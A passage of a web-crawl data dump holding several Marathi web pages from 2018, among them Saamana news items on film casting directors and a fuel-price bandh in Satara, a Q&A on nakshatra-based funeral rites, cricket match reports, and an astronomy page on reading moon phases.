‘चक्रव्यूह’, ‘रामलीला’, ‘मेरी कोम’ आणि ‘फाइंडिंग फॅनी’ असे काही चित्रपट श्रुती महाजन यांनी कास्ट केले आहेत. अगदी अलिकडे त्यांनी ‘बाजीराव मस्तानी’, ‘गंगाजल-२’ हे सिनेमेही कास्ट केले.\nअतुल मोंगिया – मुळात सिनेमाची निर्मिती करण्याची आवड असलेले अतुल मोंगिया कास्टींग डायरक्टर म्हणून काम करू लागले आहेत. ‘लव्ह सेक्स और धोका’ या सिनेमातील फ्रेश कास्टिंग त्यांनी केली आहे. संपर्क : [email protected]\nहनी त्रेहान – राजधानी दिल्लीत रंगभूमीवरून हनी त्रेहान नंतर तेथेच स्टेज डायरेक्टर झाले. मग त्यांना विशाल भारद्वाज भेटले. मग त्यांचा ‘मकडी’, ‘मकबूल’, ‘ओमकारा’ आणि ‘कमिने’ या सिनेमांचे कास्टिंग त्यांनी केले.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागील‘बिग बॉस’ पोलीस ठाण्यात\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nमनाची कवाडं उघडणारे चित्रप्रदर्शन\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00293.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/mix-response-in-satara-district/", "date_download": "2018-09-25T17:40:08Z", "digest": "sha1:6RFP3UGPASIQFLUO6SIREGASLV34WTAJ", "length": 18078, "nlines": 258, "source_domain": "www.saamana.com", "title": "सातारा जिल्ह्यात संमिश्र प्रतिसाद | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला तिसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nसातारा जिल्ह्यात संमिश्र प्रतिसाद\nभाजप सरकारने केलेल्या पेट्रोल व डिझेलच्या प्रचंड दरवाढीच्या विरोधात काँग्रेससह समविचारी पक्षांनी पुकारलेल्या हिंदुस्थान बंदला सातारा जिल्ह्यात संमिश्र प्रतिसाद मिळाला. शहरी भागांच्या तुलनेत ग्रामीण भागात बंदला चांगलाच पाठिंबा मिळाल्याचे दिसून आले. जिल्ह्यात बंददरम्यान कोणताही अनुचित प्रकार घडल्याचे वृत्त नाही.\nपेट्रोल व डिझेलच्या वारेमाप दरवाढीने सर्वसामान्य जनता मेटाकुटीला आली असून वाढत्या महागाईने लोकांचे जगणे मुश्किल झाले आहे. भाजप सरकार कोणत्याही बाबतीत सामान्य जनतेला दिलासा देऊ न शकल्याने जनतेचा पुरता भ्रमनिरास झाला आहे. या पार्श्वभूमीवर काँग्रेससह सर्व समविचारी पक्षांनी आजच्या बंदची हाक दिली होती. बंदच्या आवाहनामुळे अनेक व्यावसायिकांनी सकाळी दुकाने न उघडणेच पसंत केले. गणेशोत्सव तोंडावर असल्यामुळे काहीजण सकाळपासून परिस्थितीचा अंदाज घेताना दिसत होते. बंद करण्यास सांगायला कोणी येते की नाही ते पाहून काहींनी सुरूवातीला दुकाने अर्धवट उघडली. नंतर पूर्ण उघडली. कित्येक व्यावसायिकांनी मात्र दुकाने बंदच ठेवली.\nशहराच्या उपनगरात बंदला उत्तम प्रतिसाद मिळाला. तसेच जिल्ह्याच्या ग्रामीण भागात कडकडीत बंद पाळला गेल्यामुळे सर्व व्यवहार ठप्प राहिले. ग्रामीण भागात वडाप वाहतुकही बंद राहिल्याने रस्ते ओस पडले होते. त्यामुळे कामानिमित्त बाहेरगावी जाणाऱ्यांची गैरसोय झाली. बंदमुळे सातारा शहरातील बसवाहतुक सकाळी रोडावली होती. अनेक शाळा – कॉलेजनी सुरक्षिततेचा उपाय म्हणून स्कूल बसेस बाहेर सोडल्या नव्हत्या. त्यामुळे शाळेतील उपस्थिती अत्यल्प होती. बंद दरम्यान अत्यावश्यक सेवा सुरू ठेवण्यात आल्या होत्या. तसेच शहरात जागोजागी, चौकाचौकात पोलीस बंदोबस्त चोख ठेवण्यात आला होता.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलहिंदुस्थान बंदला हिंसक वळण, शाळेच्या बसवर दगडफेक\nपुढीलVIDEO : मुंबईच्या राजाचं यंदाचं वैशिष्ट्य…\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा दाखल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nधोनीच्या चपळाईपुढे अफगाणिस्तानी फलंदाजाची शरणागती\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00293.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.transliteral.org/qna/88", "date_download": "2018-09-25T17:40:31Z", "digest": "sha1:3DDLA5QFKIKTAJAZCPLYAGVUV66DLULT", "length": 6852, "nlines": 94, "source_domain": "www.transliteral.org", "title": "मरणानंतर पंचांगात नक्षत्र कां पाहतात? त्याचा प्रेताशी काय संबंध? - TransLiteral - Questions and Answers", "raw_content": "\nमरणानंतर पंचांगात नक्षत्र कां पाहतात त्याचा प्रेताशी काय संबंध\nघरात एखादी व्यक्ति मरण पावली असता ब्राह्मणाकडे जाउन पंचांग पाहतात आणि त्या मरणवेळेबद्दल विचारतात. काय कारण असावे\nद्विपाद, त्रिपाद आणि पंचक अशी तीन प्रकारची नक्षत्रे आहेत. या नक्षत्रावर मरण आल्यास त्याची दोन, तीन किंवा पाच वेळा घरातील अथवा जवळच्या नातेवाइकांवर पुनरावृती होते. हे टाळण्यासाठी प्रेत दहनाच्या वेळी पुत्तल विधी करतात, जेणेकरून हे अरिष्ट टळले जावे.\nज्योतिष शास्त्राप्रमाणे मृग, चित्रा आणि घनिष्ठा ही ` द्विपाद ' नक्षत्रे, कृत्तिका, पुनर्वसु, उत्तरा, विशाखा, उत्तराषाढा व पूर्वाभाद्रपदा ही ` त्रिपाद ' नक्षत्रे आणि शततारका, उत्तराभाद्रपदा व रेवती ही ` पंचक ' नक्षत्रे समजतात. प्रेताला अग्नि देण्याअगोदर पुत्तलविधी केला जातो. ज्या नक्षत्रावर मृत्यु झाला असेल त्याप्रमाणे गव्हाच्या पिठाचे म्हणजेच कणकेचे दोन, तीन अथवा पाच गोळे करून प्रेताच्या छातीवर, प्रेताला अग्नि देणार्‍याकडून ठेवतात. याने शांती होते. या नक्षत्रांवर मरण आले असता पुत्तलविधी करावाच शिवाय चवदाव्या दिवशी उदकशांतीही करावी.\nकांही समाजात हा विधी दहाव्याच्या दिवशीही करतात.\nकोणतेही कार्य करतांना मुहूर्त कां पहावा\nविविध पूजा अथवा होम प्रसंगी स्त्रीने पुरूषाच्या कोणत्या अंगास बसावे आणि हाताला हात कां लावावा\nमूल जन्मानंतर पांचव्या दिवशी सटवाई पूजन करतात, ते काय आहे\nचंद्र व सूर्य यांच्या ग्रहणी जन्म झाल्यास त्याचे काय परिणाम होतात शांती, विधी काही आहे काय\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00293.warc.wet.gz", "language": "mr", "language_score": 0.65, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/amp/news/HUM-funny-creativity-by-use-of-photoshop-4979231-PHO.html", "date_download": "2018-09-25T16:43:09Z", "digest": "sha1:NPU55MDLXBBMN7SEEV3NRSBYMTMNNAEY", "length": 4582, "nlines": 50, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Funny Creativity by use of Photoshop | फोटोसाठी त्याने चक्क आयफेल टॉवरचंच बनवलं खेळणं, पाहा अशीही Creativity", "raw_content": "\nफोटोसाठी त्याने चक्क आयफेल टॉवरचंच बनवलं खेळणं, पाहा अशीही Creativity\nआयफेल टॉवर आपण हातात उचलून धरला आहे हे दाखवण्यासाठी कधी त्याने स्वतःला सहा हात जोडले तर कधी टॉवरचेच दोन तुकडे केले. पाहुयात त्याची ही Creativity...\nअनेक लोकांना फोटो काढण्याचे वेड असते. कोठेही जा फोटो काढल्याशिवाय त्यांना करमतच नाही. पण काही लोक असेही असतात, ज्यांना काहीतरी वेगळे फोटो काढण्याची हौस असते. त्यातही एखाद्या पर्यटनस्थळावर गेल्यानंतर त्याठिकाणची वास्तू आपण हातात उचलून धरल्यासारखी दाखवणारे किंवा असा प्रकारचे फोटो काढण्यात काही जण नेहमी पुढे असतात. पण एका महाभागाने आपली ही हौस भागवण्यासाठी फोटोशॉपचा वापर केला. त्यातून त्याची भन्नाट Creativity समोर आली आहे. आयफेल टॉवर आपण हातात उचलून धरला आहे हे दाखवण्यासाठी कधी त्याने स्वतःला सहा हात जोडले तर कधी टॉवरचेच दोन तुकडे केले. पाहुयात त्याची ही Creativity... पुढील स्लाइड्सवर पाहा, असेच काही PHOTO\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील सोमवार\nविधवा काकूशी पुतण्याचे अवैध संबंध, वाद झाल्यावर महिलेने केले असे काही\nमराठमोळ्या नम्रता शिरोडकरचा पती आहे 127 कोटींचा मालक, नवीन चित्रपटात करणार सीएमची भूमिका\nतुम्हाला माहिती आहेत का सेक्स संदर्भातील हे 10 रहस्य\nहिप्सची गरजेपेक्षा वाढलेली चरबी कमी करण्याचे खास आयुर्वेदिक उपाय\nबिकीनीमधील या मराठमोळ्या अॅक्ट्रेसचे वय ऐकून व्हाल चकीत, पहिल्या पतीच्या मृत्यूनंतर केले दुसरे लग्न\nआज या 5 पैकी कोणतीही 1 गोष्ट घरी घेऊन या, प्रसन्न राहील देवी\nतू व्हर्जिन आहेस का तो लग्नाआधी तिला विचारतो.. पुढे वाचा- काय घडतं मग...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00293.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/australia-win-the-toss-and-elect-to-field/", "date_download": "2018-09-25T17:10:47Z", "digest": "sha1:ZJTEIICLZGZZYGAKZILFP7SOSI32BCOR", "length": 7681, "nlines": 65, "source_domain": "mahasports.co.in", "title": "ऑस्ट्रेलिया संघाने नाणेफेक जिंकून क्षेत्ररक्षणाचा निर्णय घेतला -", "raw_content": "\nऑस्ट्रेलिया संघाने नाणेफेक जिंकून क्षेत्ररक्षणाचा निर्णय घेतला\nऑस्ट्रेलिया संघाने नाणेफेक जिंकून क्षेत्ररक्षणाचा निर्णय घेतला\n येथे आज भारत विरुद्ध ऑस्ट्रेलिया यांच्यातील टी२० मालिकेतील दुसरा सामना होणार आहे. या सामन्यात ऑस्ट्रेलिया संघाने नाणेफेक जिंकून प्रथम गोलंदाजी करण्याचा निर्णय घेतला आहे.\nबासपारा क्रिकेट स्टेडियम, गुवाहाटी हे भारतातील ४९ वे मैदान बनणार आहे जेथे आंतरराष्ट्रीय सामना होणार आहे. भारताच नेतृत्व विराट कोहली करत आहे तर ऑस्ट्रेलियाचा नेतृत्व डेव्हिड वॉर्नर करणार आहे. ऑस्ट्रेलियाचा नियमित कर्णधार स्टिव्ह स्मिथ खांद्याच्या दुखापतीमुळे मायदेशात परतला आहे.\nया सामन्यात एमएस धोनी एक विशेष कामगिरी करू शकतो आहे ती म्हणजे भारतात टी२० मध्ये ५०० धावा करणारा धोनी दुसरा खेळाडू बनू शकतो.\nतीन सामन्यांच्या या मालिकेत भारताकडे १-० अशी आघाडी आहे. जर भारत आजचा सामना जिंकून शकला तर वनडे मालिकेप्रमाणेच भारत टी२० मालिकाही खिशात घालेल.\nभारत: रोहित शर्मा, शिखर धवन, विराट कोहली (कर्णधार), मनीष पांडे, एमएस धोनी, केदार जाधव, हार्दिक पंड्या, भुवनेश्वर कुमार, कुलदीप यादव, यज्वेंद्र चहल, जसप्रित बूमरा.\nऑस्ट्रेलिया: डेव्हिड वॉर्नर (कर्णधार), अॅरोन फिंच, ग्लेन मॅक्सवेल, ट्रॅव्हिस हेड, मोईसेस हेन्रिक्स, मोर्कस स्टोनीक्स, टिम पेन, नॅथन कॉल्टर-नील, अॅन्ड्रयू टाई, अॅडम झाम्पा, जेसन बेहेरेन्डॉरफ.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00293.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://avakashvedh.com/adhikmahiti/fullmoon_newmoon.html", "date_download": "2018-09-25T16:34:29Z", "digest": "sha1:XJQBKB7FMNJTO4GPRYGAUCHKUL6MRT64", "length": 13220, "nlines": 131, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nप्रत्यक्षात जरी चंद्र पश्चिम ते पूर्व असा पूढे सरकत असला तरी पृथ्वीचा स्वतः भोवती फिरण्याचा वेग जास्त असल्याने चंद्र पूर्वेकडून पश्चिमेकडे सरकण्याएवजी पूर्वेकडून पश्चिमेकडे सरकताना दिसतो.\nचंद्राला पृथ्वीभोवती एक फेरी पूर्ण करण्यासाठी साधारण २९ दिवस लागतात. तो पृथ्वीच्या पश्चिमेकडून पूर्वेकडे असा पूढे सरकत असतो. परंतू पृथ्वीला स्वतःभोवती एक फेरी पूर्ण करण्यासाठी २४ तास लागत असल्याने चंद्र पृथ्वीवरुन पूढे सरकताना दिसण्या एवजी पृथ्वी वेगात गोल फिरत असल्याने चंद्र मागे सरकताना दिसतो, परीणामी तो पश्चिमेकडून पूर्वेकडे सरकताना दिसण्या एवजी एका रात्रीमध्ये तो पूर्वेकडून पश्चिमेकडे सरकताना दिसतो. परंतू असे जरी असले तरी प्रत्यक्षात चंद्राचे पश्चिमेकडून पूर्वेकडे सरकणे सतत चालू असल्याने एखाद्या रात्री चंद्र आपल्याला ज्या ठिकाणी आढळेल त्याच्या दुसर्‍य रात्री चंद्र आपल्याला त्यावेळेस आदल्या रात्रीच्या थोडासा पूढे पूर्व दिशेला सरकलेला आढळेल.\nएखाद्या संपूर्ण रात्रीमध्ये चंद्र आकाशामध्ये न दिसल्यास तो सूर्याच्या जवळ असून त्यावेळी आमावस्या आहे हे स्वाभाविक आहे.\nइतर वेळेस जर रात्रीच्या वेळेस चंद्र आकाशामध्ये दिसल्यास त्यावरुन अमावास्या अथवा पौर्णिमा कधी होणार आहे याचे गणित अगदी सहज करता येते.\nजर सूर्यास्तानंतर अथवा मध्यरात्रीपूर्वी आकाशामध्ये आपल्याला चंद्राची अर्धी बाजू दिसत असेल म्हणजेच \"अर्धचंद्र बिंब\" दिसत असेल तर त्या रात्री चंद्र साधरणपणे मध्यरात्रीपर्यंत पश्चिमेला मावळता दिसेल. याचाच अर्थ तेव्हा चंद्राची 'शुक्ल अष्टमी' कला असून साधारण आठ दिवसांपूर्वी अमावास्या होती व साधारण आठ दिवसांनंतर पौर्णिमा असेल.\nवरील प्रमाणेच परंतू जर सूर्योदयानंतर व दिवसा दुपार होण्याआधी आकाशामध्ये आपल्याला चंद्राची अर्धी बाजू दिसत असेल म्हणजेच \"अर्धचंद्र बिंब\" दिसत असेल तर त्या दिवशी चंद्र साधारणपणे संध्याकाळपर्यंत पश्चिमेला मावळता दिसेल. याचाच अर्थ तेव्हा चंद्राची 'कृष्ण अष्टमी' कला असून साधारण आठ दिवसांपूर्वी पौर्णिमा होती व साधारण आठ दिवसांनंतर अमावास्या असेल.\nपहाटे सूर्योदयापूर्वी 'पूर्व क्षितिजावर' चंद्राची कोर दिसत असेल तर याचाच अर्थ तेव्हा साधारण 'कृष्ण एकादशी' कला असून पूढे साधारण ३-४ दिवसांमध्ये 'अमावास्या' होणार आहे.\nसंध्याकाळी सूर्यास्तानंतर 'पश्चिम क्षितिजावर' चंद्राची कोर दिसत असेल तर याचाच अर्थ तेव्हा साधारण 'शुक्ल चतुर्थी' कला असून साधारण ३-४ दिवसांमध्ये 'अमावास्या' झाली असावी.\nसंध्याकाळी सूर्यास्तापूर्वी जर पूर्व क्षितिजावर चंद्राचे साधारण गोलाकार बिंब दिसत असेल तर तेव्हा चंद्राची 'शुक्ल एकादशी' कला असून साधारण ३-४ नंतर दिवसांनंतर 'पौर्णिमा' होणार आहे.\nसंध्याकाळी सूर्यास्तानंतर जर पूर्व क्षितिजावर चंद्राचे साधारण गोलाकार बिंब दिसत असेल तर तेव्हा चंद्राची 'कृष्ण चतुर्थी' कला असून साधारण ३-४ दिवसांपूर्वी 'पौर्णिमा' झाली असावी.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00294.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/538165", "date_download": "2018-09-25T17:50:49Z", "digest": "sha1:OWGPC5LXITVHNJSB5YWIZT4HBQCEX74A", "length": 6977, "nlines": 43, "source_domain": "www.tarunbharat.com", "title": "इंग्लंडविरुद्ध ऑस्ट्रेलिया 4 बाद 209 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » क्रिडा » इंग्लंडविरुद्ध ऑस्ट्रेलिया 4 बाद 209\nइंग्लंडविरुद्ध ऑस्ट्रेलिया 4 बाद 209\nपुन्हा सूर सापडलेला उस्मान ख्वाजा (8 चौकारांसह 53) व कर्णधार स्टीव्ह स्मिथ (40) यांच्या जोरकस फलंदाजीमुळे ऑस्ट्रेलियाने खराब सुरुवातीनंतर देखील इंग्लंडविरुद्ध ऍशेस मालिकेतील दुसऱया कसोटीत पहिल्या दिवशी 81 षटकात 4 बाद 209 धावा जमवल्या. पाहुण्या संघाने कॅमेरुन बॅन्क्रॉफ्टला (10) स्वस्तात बाद केल्यानंतर डेव्हिड वॉर्नरने 47 धावांचे योगदान दिले. नंतर ख्वाजा व स्मिथ यांनी 53 धावांची भागीदारी साकारली.\nप्रारंभी, यजमान ऑस्ट्रेलियाने येथे नाणेफेक जिंकल्यानंतर प्रथम फलंदाजी स्वीकारली व या दिवस-रात्र कसोटीत डिनर ब्रेक घेण्यात आला, तोवर 2 बाद 138 धावा जमवल्या होत्या. ख्वाजा त्यावेळी 53 तर स्टीव्ह स्मिथ 25 धावांवर खेळत होता. यापूर्वी गब्बा येथे नाबाद 141 धावांसह सामना जिंकून देणारी खेळी साकारणारा स्टीव्ह स्मिथची स्टुअर्ट ब्रॉडशी झालेली शाब्दिक चकमक तणाव निर्माण करणारी ठरली.\nख्वाजाने नंतर 26 व्या कसोटीतील आपले नववे अर्धशतक साजरे केले. मोईन अलीला चौकारासाठी पिटाळत त्याने हा टप्पा गाठला. डावातील 47 व्या षटकात वॉर्नर बाद झाला, त्यावेळी वोक्ससाठी ती प्राईज विकेट ठरली. इंग्लंडचे जलद गोलंदाज जेम्स अँडरसन व ब्रॉड यांनी पहिल्या महत्त्वाच्या तासाभरात गुलाबी चेंडूसह उसळत्या माऱयावरच भर दिला. अर्थात, पहिल्या सत्रात सातत्याने संततधार होत राहिल्याने केवळ 13.5 षटकांचा खेळ होऊ शकला. यापूर्वी, गब्बा येथे इंग्लंडला यापूर्वीच दहा गडय़ांनी दारुण पराभवाचा सामना करावा लागला होता. पण, येथे आणखी अपयश स्वीकारणे त्यांना निश्चितच परवडणारे नसेल.\nऑस्ट्रेलिया पहिला डाव : 81 षटकात 4/209 (उस्मान ख्वाजा 112 चेंडूत 8 चौकारांसह 53, डेव्हिड वॉर्नर 5 चौकारांसह 47, हँडस्कॉम्ब 83 चौकारांसह नाबाद 36, शॉन मार्श 58 चेंडूत 2 चौकारांसह नाबाद 20. अवांतर 3. अँडरसन, वोक्स व ओव्हर्टन प्रत्येकी 1 बळी).\nभारतीय महिलांचा शेवटच्या चेंडूवर रोमांचक विजय\nवादाचे सावट, तरीही विंडीजविरुद्ध विराटसेना ‘फेवरीट’\nरशियाची लेसेटिस्किने विश्वजेतेपदासाठी सज्ज\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी 